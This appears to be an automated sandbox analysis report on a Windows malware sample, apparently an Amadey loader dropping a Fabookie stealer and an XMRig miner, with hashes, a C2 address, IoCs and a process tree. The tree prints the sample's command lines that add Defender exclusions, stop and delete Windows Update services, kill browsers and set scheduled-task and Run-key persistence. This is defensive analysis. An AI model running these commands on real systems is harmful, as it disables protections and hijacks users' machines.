Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
12-06-2023 12:10
Static task
static1
General
-
Target
tmp.exe
-
Size
4.5MB
-
MD5
1e5b2635145a5aff691b63b8ad16a4df
-
SHA1
ba01612a8df2e4d8f2859089fba64c00c3eaf43c
-
SHA256
c5ed5ae369da1d7784e5750e5da0ff898b438b79a7875590cad8bdd6af3e99f4
-
SHA512
001055e2e205cf9e543aa4811673a8860e2d60165426bb64300cb01d83b53a0a2efcc3a72f02911af36aca2a0b547ec7ee2da6825635fc9356734c09c06339b9
-
SSDEEP
98304:Kok7uaLci46qFDcaTF88bIULQaEe5vQe5:YdLci46qFYG2uEzqJ
Malware Config
Extracted
amadey
3.83
5.42.65.80/8bmeVwqx/index.php
Signatures
-
Detect Fabookie payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4376-174-0x0000000002CB0000-0x0000000002DE2000-memory.dmp family_fabookie behavioral2/memory/4376-178-0x0000000002CB0000-0x0000000002DE2000-memory.dmp family_fabookie -
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
Processes:
XandETC.exeupdater.execonhost.exedescription pid process target process PID 2244 created 3204 2244 XandETC.exe Explorer.EXE PID 2244 created 3204 2244 XandETC.exe Explorer.EXE PID 2244 created 3204 2244 XandETC.exe Explorer.EXE PID 2244 created 3204 2244 XandETC.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE PID 4740 created 3204 4740 conhost.exe Explorer.EXE PID 372 created 3204 372 updater.exe Explorer.EXE -
XMRig Miner payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/4508-300-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-303-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-304-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-306-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-310-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-313-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig behavioral2/memory/4508-315-0x00007FF799920000-0x00007FF79A114000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
oneetx.exetmp.exeoldplayer.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation oneetx.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation tmp.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation oldplayer.exe -
Executes dropped EXE 7 IoCs
Processes:
aafg31.exeoldplayer.exeXandETC.exeoneetx.exeupdater.exeoneetx.exeoneetx.exepid process 4376 aafg31.exe 3796 oldplayer.exe 2244 XandETC.exe 1876 oneetx.exe 372 updater.exe 224 oneetx.exe 312 oneetx.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/4508-300-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-303-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-304-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-306-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-310-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-313-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx behavioral2/memory/4508-315-0x00007FF799920000-0x00007FF79A114000-memory.dmp upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 372 set thread context of 4740 372 updater.exe conhost.exe PID 372 set thread context of 4508 372 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exeXandETC.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2812 sc.exe 5056 sc.exe 3852 sc.exe 4708 sc.exe 1404 sc.exe 1252 sc.exe 1112 sc.exe 4188 sc.exe 3216 sc.exe 4276 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 336 taskkill.exe 5112 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.execonhost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
XandETC.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.execonhost.exepid process 2244 XandETC.exe 2244 XandETC.exe 3152 powershell.exe 3152 powershell.exe 2244 XandETC.exe 2244 XandETC.exe 2244 XandETC.exe 2244 XandETC.exe 2244 XandETC.exe 2244 XandETC.exe 4812 powershell.exe 4812 powershell.exe 2244 XandETC.exe 2244 XandETC.exe 5112 powershell.exe 5112 powershell.exe 372 updater.exe 372 updater.exe 1720 powershell.exe 1720 powershell.exe 372 updater.exe 372 updater.exe 372 updater.exe 372 updater.exe 372 updater.exe 372 updater.exe 4468 powershell.exe 4468 powershell.exe 372 updater.exe 372 updater.exe 372 updater.exe 372 updater.exe 4740 conhost.exe 4740 conhost.exe 372 updater.exe 372 updater.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe 4508 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 648 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
taskkill.exetaskkill.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 336 taskkill.exe Token: SeDebugPrivilege 5112 taskkill.exe Token: SeDebugPrivilege 3152 powershell.exe Token: SeDebugPrivilege 4812 powershell.exe Token: SeShutdownPrivilege 4532 powercfg.exe Token: SeCreatePagefilePrivilege 4532 powercfg.exe Token: SeShutdownPrivilege 3184 powercfg.exe Token: SeCreatePagefilePrivilege 3184 powercfg.exe Token: SeShutdownPrivilege 4832 powercfg.exe Token: SeCreatePagefilePrivilege 4832 powercfg.exe Token: SeShutdownPrivilege 3680 powercfg.exe Token: SeCreatePagefilePrivilege 3680 powercfg.exe Token: SeIncreaseQuotaPrivilege 4812 powershell.exe Token: SeSecurityPrivilege 4812 powershell.exe Token: SeTakeOwnershipPrivilege 4812 powershell.exe Token: SeLoadDriverPrivilege 4812 powershell.exe Token: SeSystemProfilePrivilege 4812 powershell.exe Token: SeSystemtimePrivilege 4812 powershell.exe Token: SeProfSingleProcessPrivilege 4812 powershell.exe Token: SeIncBasePriorityPrivilege 4812 powershell.exe Token: SeCreatePagefilePrivilege 4812 powershell.exe Token: SeBackupPrivilege 4812 powershell.exe Token: SeRestorePrivilege 4812 powershell.exe Token: SeShutdownPrivilege 4812 powershell.exe Token: SeDebugPrivilege 4812 powershell.exe Token: SeSystemEnvironmentPrivilege 4812 powershell.exe Token: SeRemoteShutdownPrivilege 4812 powershell.exe Token: SeUndockPrivilege 4812 powershell.exe Token: SeManageVolumePrivilege 4812 powershell.exe Token: 33 4812 powershell.exe Token: 34 4812 powershell.exe Token: 35 4812 powershell.exe Token: 36 4812 powershell.exe Token: SeIncreaseQuotaPrivilege 4812 powershell.exe Token: SeSecurityPrivilege 4812 powershell.exe Token: SeTakeOwnershipPrivilege 4812 powershell.exe Token: SeLoadDriverPrivilege 4812 powershell.exe Token: SeSystemProfilePrivilege 4812 powershell.exe Token: SeSystemtimePrivilege 4812 powershell.exe Token: SeProfSingleProcessPrivilege 4812 powershell.exe Token: SeIncBasePriorityPrivilege 4812 powershell.exe Token: SeCreatePagefilePrivilege 4812 powershell.exe Token: SeBackupPrivilege 4812 powershell.exe Token: SeRestorePrivilege 4812 powershell.exe Token: SeShutdownPrivilege 4812 powershell.exe Token: SeDebugPrivilege 4812 powershell.exe Token: SeSystemEnvironmentPrivilege 4812 powershell.exe Token: SeRemoteShutdownPrivilege 4812 powershell.exe Token: SeUndockPrivilege 4812 powershell.exe Token: SeManageVolumePrivilege 4812 powershell.exe Token: 33 4812 powershell.exe Token: 34 4812 powershell.exe Token: 35 4812 powershell.exe Token: 36 4812 powershell.exe Token: SeIncreaseQuotaPrivilege 4812 powershell.exe Token: SeSecurityPrivilege 4812 powershell.exe Token: SeTakeOwnershipPrivilege 4812 powershell.exe Token: SeLoadDriverPrivilege 4812 powershell.exe Token: SeSystemProfilePrivilege 4812 powershell.exe Token: SeSystemtimePrivilege 4812 powershell.exe Token: SeProfSingleProcessPrivilege 4812 powershell.exe Token: SeIncBasePriorityPrivilege 4812 powershell.exe Token: SeCreatePagefilePrivilege 4812 powershell.exe Token: SeBackupPrivilege 4812 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
oldplayer.exepid process 3796 oldplayer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
tmp.exeaafg31.exeoldplayer.exeoneetx.execmd.execmd.execmd.exedescription pid process target process PID 4536 wrote to memory of 4376 4536 tmp.exe aafg31.exe PID 4536 wrote to memory of 4376 4536 tmp.exe aafg31.exe PID 4536 wrote to memory of 3796 4536 tmp.exe oldplayer.exe PID 4536 wrote to memory of 3796 4536 tmp.exe oldplayer.exe PID 4536 wrote to memory of 3796 4536 tmp.exe oldplayer.exe PID 4536 wrote to memory of 2244 4536 tmp.exe XandETC.exe PID 4536 wrote to memory of 2244 4536 tmp.exe XandETC.exe PID 4376 wrote to memory of 336 4376 aafg31.exe taskkill.exe PID 4376 wrote to memory of 336 4376 aafg31.exe taskkill.exe PID 4376 wrote to memory of 5112 4376 aafg31.exe taskkill.exe PID 4376 wrote to memory of 5112 4376 aafg31.exe taskkill.exe PID 3796 wrote to memory of 1876 3796 oldplayer.exe oneetx.exe PID 3796 wrote to memory of 1876 3796 oldplayer.exe oneetx.exe PID 3796 wrote to memory of 1876 3796 oldplayer.exe oneetx.exe PID 1876 wrote to memory of 112 1876 oneetx.exe schtasks.exe PID 1876 wrote to memory of 112 1876 oneetx.exe schtasks.exe PID 1876 wrote to memory of 112 1876 oneetx.exe schtasks.exe PID 1876 wrote to memory of 224 1876 oneetx.exe cmd.exe PID 1876 wrote to memory of 224 1876 oneetx.exe cmd.exe PID 1876 wrote to memory of 224 1876 oneetx.exe cmd.exe PID 224 wrote to memory of 4036 224 cmd.exe cmd.exe PID 224 wrote to memory of 4036 224 cmd.exe cmd.exe PID 224 wrote to memory of 4036 224 cmd.exe cmd.exe PID 224 wrote to memory of 1944 224 cmd.exe cacls.exe PID 224 wrote to memory of 1944 224 cmd.exe cacls.exe PID 224 wrote to memory of 1944 224 cmd.exe cacls.exe PID 224 wrote to memory of 3456 224 cmd.exe cacls.exe PID 224 wrote to memory of 3456 224 cmd.exe cacls.exe PID 224 wrote to memory of 3456 224 cmd.exe cacls.exe PID 224 wrote to memory of 4328 224 cmd.exe cmd.exe PID 224 wrote to memory of 4328 224 cmd.exe cmd.exe PID 224 wrote to memory of 4328 224 cmd.exe cmd.exe PID 224 wrote to memory of 4820 224 cmd.exe cacls.exe PID 224 wrote to memory of 4820 224 cmd.exe cacls.exe PID 224 wrote to memory of 4820 224 cmd.exe cacls.exe PID 224 wrote to memory of 2980 224 cmd.exe cacls.exe PID 224 wrote to memory of 2980 224 cmd.exe cacls.exe PID 224 wrote to memory of 2980 224 cmd.exe cacls.exe PID 4648 wrote to memory of 4532 4648 cmd.exe powercfg.exe PID 4648 wrote to memory of 4532 4648 cmd.exe powercfg.exe PID 5096 wrote to memory of 4708 5096 cmd.exe sc.exe PID 5096 wrote to memory of 4708 5096 cmd.exe sc.exe PID 4648 wrote to memory of 3184 4648 cmd.exe powercfg.exe PID 4648 wrote to memory of 3184 4648 cmd.exe powercfg.exe PID 5096 wrote to memory of 1404 5096 cmd.exe sc.exe PID 5096 wrote to memory of 1404 5096 cmd.exe sc.exe PID 4648 wrote to memory of 4832 4648 cmd.exe powercfg.exe PID 4648 wrote to memory of 4832 4648 cmd.exe powercfg.exe PID 4648 wrote to memory of 3680 4648 cmd.exe powercfg.exe PID 4648 wrote to memory of 3680 4648 cmd.exe powercfg.exe PID 5096 wrote to memory of 2812 5096 cmd.exe sc.exe PID 5096 wrote to memory of 2812 5096 cmd.exe sc.exe PID 5096 wrote to memory of 1252 5096 cmd.exe sc.exe PID 5096 wrote to memory of 1252 5096 cmd.exe sc.exe PID 5096 wrote to memory of 1112 5096 cmd.exe sc.exe PID 5096 wrote to memory of 1112 5096 cmd.exe sc.exe PID 5096 wrote to memory of 2768 5096 cmd.exe reg.exe PID 5096 wrote to memory of 2768 5096 cmd.exe reg.exe PID 5096 wrote to memory of 3140 5096 cmd.exe reg.exe PID 5096 wrote to memory of 3140 5096 cmd.exe reg.exe PID 5096 wrote to memory of 2884 5096 cmd.exe reg.exe PID 5096 wrote to memory of 2884 5096 cmd.exe reg.exe PID 5096 wrote to memory of 400 5096 cmd.exe reg.exe PID 5096 wrote to memory of 400 5096 cmd.exe reg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exe"C:\Users\Admin\AppData\Local\Temp\aafg31.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM chrome.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM msedge.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:R" /E6⤵
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
